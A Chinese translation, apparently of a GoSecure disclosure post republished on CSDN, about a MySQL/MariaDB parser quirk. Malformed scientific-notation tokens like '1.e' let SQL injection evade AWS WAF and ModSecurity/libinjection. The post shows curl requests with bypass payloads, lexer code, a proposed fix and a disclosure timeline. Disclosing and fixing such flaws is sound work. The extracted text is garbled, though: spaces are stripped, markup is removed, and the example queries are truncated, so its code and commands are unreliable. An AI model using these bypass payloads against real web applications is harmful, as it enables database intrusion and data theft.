作者|MarcOlivierBergeron
译者|王雪迎
出品|CSDN(ID:CSDNnews)
GoSecure道德黑客在MySQL中发现了一个具有安全问题的漏洞。该问题产生的后果是,AWSWeb应用程序防火墙(AWSWebApplicationFirewall,WAF)客户对SQL注入失去保护。我们的研究团队进一步证实modsecurity也会受其影响,但正如本博客所述,保护是可以实现的。
问题发现
2013年,RobertoSalgado在BlackHat上发表了一篇题为“SQLi优化与混淆技术”的演讲,介绍了SQL注入的多种绕行技术,其中包括针对MySQL和MariaDB的技术。2018年,GoSecure道德黑客重提了该演示文稿,并开始在本地使用MySQL和MariaDB进行一些测试。我们发现在那篇演讲中提到的科学记数法漏洞,会产生比看上去更为严重的后果。事实证明,用它可以完成一些美妙的事情——从攻击者的角度来看是美妙的。这个漏洞允许SQL语法保持有效,即使它不该有效,给安全防御造成混乱。
科学记数法,特别是e符号,已经被集成到许多编程语言中,包括SQL。不清楚是否所有SQL都这样实现,但它是MySQL/MariaDB实现的一部分。下面是一个集成到SQL查询中的科学记数法示例。这实际上是2013年BlackHat演示中的一个。e符号将被忽略,因为它被用于无效的上下文中。
SELECTtable_nameFROMinformation_
因此,实际上该查询的行为与以下相同:
SELECTtable_nameFROMinformation_
通过几项测试,我们发现可以在关键字“1.e”后面加上以下字符:
().,|%*^/
为了说明这个问题,我们将使用下面的示例数据集来演示:
mysqldescribetest;+-------+--------------+------+-----+---------+-------+|Field|Type||Key|Default|Extra|+-------+--------------+------+-----+---------+-------+|id|int|YES|||||test|varchar(255)|YES||||+-------+--------------+------+-----+---------+-------+2rowsinset(0.01sec)
mysqlselectid,testfromtest;+------+-----------+|id|test|+------+-----------+|1|admin||2|usertest1||3|usertest2|+------+-----------+3rowsinset(0.00sec)
让我们看看关键字“1.e”和该关键字后面的字符可以实现什么效果:
,(),('a'12356.e,'b'1.e,'c'1.1234e)1.e,121.e*21.e,121.e/21.e,121.e|21.e,121.e^21.e,121.e%21.e,121.;+------+----------------------------------------+------------------------------------------+----------+----------+----------+----------+----------+----------+|id|()|('a'12356.e,'b'1.e,'c'1.1234e)|121.e*2|121.e/2|121.e|2|121.e^2|121.e%2|121.e2|+------+----------------------------------------+------------------------------------------+----------+----------+----------+----------+----------+----------+|1|0x01|abc|24|6.0000|14|14|0|0||2|0x02|abc|24|6.0000|14|14|0|0||3|0x03|abc|24|6.0000|14|14|0|0|+------+----------------------------------------+------------------------------------------+----------+----------+----------+----------+----------+----------+3rowsinset(0.00sec)上述查询等价于以下查询:
mysqlselectid,char(id),concat('a','b','c'),12*2,12/2,12|2,12^2,12%2,122;+------+--------------------+---------------------+------+--------+------+------+------+------+|id|char(id)|concat('a','b','c')|12*2|12/2|12|2|12^2|12%2|122|+------+--------------------+---------------------+------+--------+------+------+------+------+|1|0x01|abc|24|6.0000|14|14|0|0||2|0x02|abc|24|6.0000|14|14|0|0||3|0x03|abc|24|6.0000|14|14|0|0|+------+--------------------+---------------------+------+--------+------+------+------+------+3rowsinset(0.00sec)太疯狂了,对吧?让我们看一下如何在真实产品中利用此漏洞。
应该注意的是,关键字“1.e”中的数字并不重要。任何数字都可以介于点和“e”之间,并且点是强制性的(例如,“1337.1337e”也可行)。
滥用漏洞绕过AWSWeb应用程序防火墙(WAF)
AmazonWebServices(AWS)有一个名为CloudFront的产品,它可以与AWSWAF相结合,并具有预定义的规则,以帮助公司保护其Web应用程序免受入侵。然而,在一次接触中,我们发现AWSWAF中的“SQL数据库”规则可以绕过上一节中显示的漏洞。
一个简单的查询可以显示WAF会阻止使用著名的1'或'1'='1注入来请求:
$curl-i-H"Origin:http://my-domain"-XPOST\""-d"x=1'or'1'='1"HTTP/1.1403ForbiddenServer:CloudFrontDate:Wed,21Jul202121:38:16GMTContent-Type:text/htmlContent-Length:919Connection:keep-aliveX-Cache:ErrorfromcloudfrontVia:1.1828380(CloudFront)X-Amz-Cf-Pop:YUL62-C1X-Amz-Cf-Id:eh5LR9w1Cjccxf5JAZ4yTkrsILZL3PLjqwCQbBUD_zakHi53NPCJrg==
!DOCTYPEHTMLPUBLIC"-//W3C////EN"""HTMLHEADMETAHTTP-EQUIV="Content-Type"CONTENT="text/html;charset=iso-8859-1"TITLEERROR:Therequestcouldnotbesatisfied/TITLE/HEADBODYH1403ERROR/H1H2Therequestcouldnotbesatisfied./H2HRnoshadesize="1px"Requestblocked.Wecan',orcontacttheapporwebsiteowner.BRclear="all"IfyouprovidecontenttocustomersthroughCloudFront,youcanfindstepstotroubleshootandhelppreventthiserrorbyreviewingtheCloudFrontdocumentation.BRclear="all"HRnoshadesize="1px"PREGeneratedbycloudfront(CloudFront)RequestID:eh5LR9w1Cjccxf5JAZ4yTkrsILZL3PLjqwCQbBUD_zakHi53NPCJrg==/PREADDRESS/ADDRESS/BODY/HTML
现在我们看,如果我们在这个简单的注入中使用科学记数法,利用这个漏洞会发生什么:
$curl-i-H"Origin:http://my-domain"-XPOST\""-d"x=1'(1)or'1'='1"HTTP/1.1200OKContent-Type:text/html;charset=UTF-8Content-Length:32Connection:keep-aliveDate:Wed,21Jul202121:38:23GMTServer:Apache/2.4.41(Ubuntu)X-Cache:MissfromcloudfrontVia:1.1(CloudFront)X-Amz-Cf-Pop:YUL62-C1X-Amz-Cf-Id:TDwlolP9mvJGtcwB5vBoUGr-JRxzcX-ZLuumG9F4vioKl1L5ztPwUw==
1admin2usertest13usertest2
仅上述绕过的证据就足以激发我们对该漏洞工作原因和方式的兴趣,以便正确地披露该漏洞,并向相关方展示其对安全性的影响。
漏洞调查
起初,我们没有向MySQL和MariaDB透露这个漏洞,因为我们没有看到它的影响。在我们发现WAF绕行之前,它不会以任何方式影响数据,也不会让你的权限升级。现在我们找到了一个具体的安全影响,让我们了解一下这个漏洞是如何产生的,以及为什么它会这样。
请记住,以下解释特意保持简明扼要。
首先,MySQL和MariaDB通过在查询中查找标记来工作,如数字、字符串、注释、行尾等。一旦代码认为它知道是什么类型的标记,就会通过发送正确的函数来解析该标记。
其次,我们要查看的代码段是整数或实数解析器,因为代码将首先到达该段:
caseMY_LEX_INT_OR_REAL://Completeintorincompleterealif(c!='.'){//Foundcompleteintegernumber.yylval-lex_str=get_token(lip,0,lip-yyLength());returnint_token(yylval-lex_,(uint)yylval-lex_);}//fallthrough第三,代码将通过实数函数找到一个点,这就是我们想要了解的代码:
caseMY_LEX_REAL://Incompleterealnumberwhile(my_isdigit(cs,c=lip-yyGet()));
if(c=='e'||c=='E'){c=lip-yyGet();if(c=='-'||c=='+')c=lip-yyGet();//Skipsignif(!my_isdigit(cs,c)){//Nodigitaftersignstate=MY_LEX_CHAR;break;}while(my_isdigit(cs,lip-yyGet()));yylval-lex_str=get_token(lip,0,lip-yyLength());return(FLOAT_NUM);}yylval-lex_str=get_token(lip,0,lip-yyLength());return(DECIMAL_NUM);
此时,代码已经处理了点之前的数字,并开始获取点之后的所有数字。然后,条件验证该字符是“e”或“E”,然后获取下一个字符。如果该字符不是数字,则将状态设置为“MY_LEX_CHAR”,然后使用“break”运算符结束switch语句,该运算符返回到switchcase的开头。
最后,到达以下case语句,在这里,标记被完全遗忘并从查询中删除:
caseMY_LEX_CHAR://UnknownorsinglechartokencaseMY_LEX_SKIP://Thisshouldnothappenif(c=='-'lip-yyPeek()=='-'(my_isspace(cs,lip-yyPeekn(1))||my_iscntrl(cs,lip-yyPeekn(1)))){state=MY_LEX_COMMENT;break;}
if(c=='-'lip-yyPeek()=='')//'-'{lip-yySkip();lip-next_state=MY_LEX_START;if(lip-yyPeek()==''){lip-yySkip();returnJSON_UNQUOTED_SEPARATOR_SYM;}returnJSON_SEPARATOR_SYM;}
if(c!=')')lip-next_state=MY_LEX_START;//Allowsignednumbers
/*Checkforaplaceholder:itshouldnotprecedeapossibleidentifierbecauseofbinlogging:whenaplaceholderisreplacedwithitsvalueinaqueryforthebinlog,thequerymuststaygrammaticallycorrect.*/if(c=='?'lip-stmt_prepare_mode!ident_map[lip-yyPeek()])return(PARAM_MARKER);
return((int)c);我们通过阅读注释“UnknownorsingleCHARtoken”可知,此时MySQL并不知道该怎么处理标记,而“MY_LEX_CHAR”条件只是简单地下传到“MY_LEX_SKIP”条件。在“MY_LEX_SKIP”的条件下,函数将以返回字符结束。需要注意的一点是,如果字符不是右括号,则状态被设置为“MY_LEX_START”,这将从一个新标记开始。无论哪种方式,即使它以一个右括号结束,仍然不会返回标记,因此它会被丢弃。
候选修正方案
候选修正方案很简单,比如在标记不正确时中止查询,而不是让它通过。当MySQL或MariaDB找到浮点标记的开头,并且浮点标记后面没有数字时,它应该中止查询。
if(c=='e'||c=='E'){c=lip-yyGet();if(c=='-'||c=='+')c=lip-yyGet();//Skipsignif(!my_isdigit(cs,c)){//Nodigitaftersignreturn(ABORT_SYM);//---Fixhere!}while(my_isdigit(cs,lip-yyGet()));yylval-lex_str=get_token(lip,0,lip-yyLength());return(FLOAT_NUM);}我们向MySQL和MariaDB项目提交了修复程序。注意,这不是我们常做的事情,因为项目维护人员通常更适合修复安全问题。然而在本例中,由于这在MySQL/MariaDB中本身不是一个安全问题,因此我们认为提供修复程序将增加快速解决问题的机会。此外,我个人对浏览大型C/C++代码库以发现问题所在很感兴趣。
带有安全隐患的漏洞
如前所述,此问题的安全影响不在MySQL和MariaDB的控制范围内。任何WAF或类似的安全产品,如果忽略像这样形成的SQL请求,都将容易受到攻击。情况很复杂。如果请求是畸形的,安全产品自然不会认为它们是有效的SQL,从而使它们不需要阻止。
什么是ModSecurity
我们首先在AWSWAF上发现了这个漏洞并报告了它。然而,我们后来决定评估ModSecurity,它是Apache和nginx的流行WAF。ModSecurity捆绑了libinjection,我们也发现它受到这个混淆漏洞的影响。
这里演示了modsecurity阻止恶意SQL注入模式的能力。检测结果显示,返回一个被禁止的页面。
modsecurity(使用libinjection)正在阻止SQL注入
crs_1|192.168.208.1--[08/Oct/2021:19:28:09+0000]"GET/?genre=action%27%20or%20%27%27=%27HTTP/1.1"403199
crs_1|[FriOct0819:28:40.3456332021][:error][pid218:tid0928][:49958][]ModSecurity:'ssos'[file"/etc//owasp-crs/rules/"][line"65"][id"942100"][msg"SQLInjectionAttackDetectedvialibinjection"][data"MatchedData:ssosfoundwithinARGS:genre:action'or''='"][severity"CRITICAL"][ver"OWASP_CRS/3.3.2"][tag"modsecurity"][tag"application-multi"][tag"language-multi"][tag"platform-multi"][tag"attack-sqli"][tag"paranoia-level/1"][tag"OWASP_CRS"][tag"capec/1000/152/248/66"][tag"PCI/6.5.2"][hostname"localhost"][uri"/"][unique_id"YWCb6EwweO7WZjrKg6GHTgAAAMk"]
modsecurity日志高亮显示已触发libinjection
我们可以通过在字面表达式前加上科学记数法“1.e”来规避这种做法。Libinjection在内部标记参数并标识上下文节类型,如注释和字符串。Libinjection将字符串“1.e”视为一个未知的SQL关键字,并得出结论,它更可能是一个英语句子,而不是代码。当libinjection不识别SQL函数时,同样的行为也会出现。
modsecurity和libinjection绕行演示
当我们联系OWASP核心规则集(CoreRuleSet,CRS)安全团队时,他们表示,如果规则集配置偏执级别至少为2级,则可以提供有效的保护,这是检测混淆攻击的建议。
时间线
2021-02-11:作为约定的一部分,通过AWSWAF滥用漏洞
2021-08-16:向亚马逊披露滥用此漏洞的WAF绕行
2021-09-29:请求状态更新
2021-10-01:AWS表示问题已经解决
2021-10-01:发现ModSecurity/libinjection也受到影响
2021-10-04:确认AWSWAF修复
2021-10-04:将候选补丁发送到MySQL和MariaDB
2021-10-05:通过OWASP核心规则集项目(CRS)向ModSecurity/libinjection披露
2021-10-05:确认ModSecurity/libinjection中的2级偏执解决方案
2021-10-19:公开披露
结论
这个安全问题与其它许多问题不同,因为它很容易被轻视为一个简单的解析器错误。我们很高兴AWS了解了这一风险,并决定在WAF中解决这一问题,特别是因为这是一种我们以前从未见过的,使亚马逊客户可能无法得到保护的奇怪情况。
希望从长远来看,MySQL和MariaDB能够修复这个bug,10年后我们将能够从WAF中删除这种奇怪的解析器行为。
特别感谢PhilippeArteau,他对ModSecurity/libinjection进行了额外的测试。
免责声明:本文章如果文章侵权,请联系我们处理,本站仅提供信息存储空间服务如因作品内容、版权和其他问题请于本站联系